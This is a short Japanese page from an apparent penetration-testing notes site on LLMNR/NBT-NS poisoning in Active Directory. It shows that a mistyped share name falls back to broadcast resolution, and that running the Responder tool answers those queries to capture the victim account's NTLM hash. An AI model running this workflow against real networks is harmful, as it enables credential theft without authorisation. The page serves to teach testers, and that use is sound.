> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).
# LLMNR / NBT-NSポイズニング
LLMNR / NBT-NSポイズニングのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。
有効な名前でアクセスする場合、解決はまずドメインコントローラーのDNSを経由します。
{% code overflow="wrap" %}
```bash
dir //WS01/c$
```
{% endcode %}
名前が存在しない場合、Windows は次に～を介して解決を試みます `LLMNR` または `NBT-NS` ブロードキャストで。
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
Linux からこれらの要求を監視し、～で応答できます `Responder`.
{% code overflow="wrap" %}
```bash
sudo responder -I ens33
```
{% endcode %}
被害者が間違った共有名を入力すると、そのクエリは私たちのマシンに届きます。
{% code overflow="wrap" %}
```bash
dir //test/c$
```
{% endcode %}
その後、接続を試みたアカウントの NTLM ハッシュを取得します。
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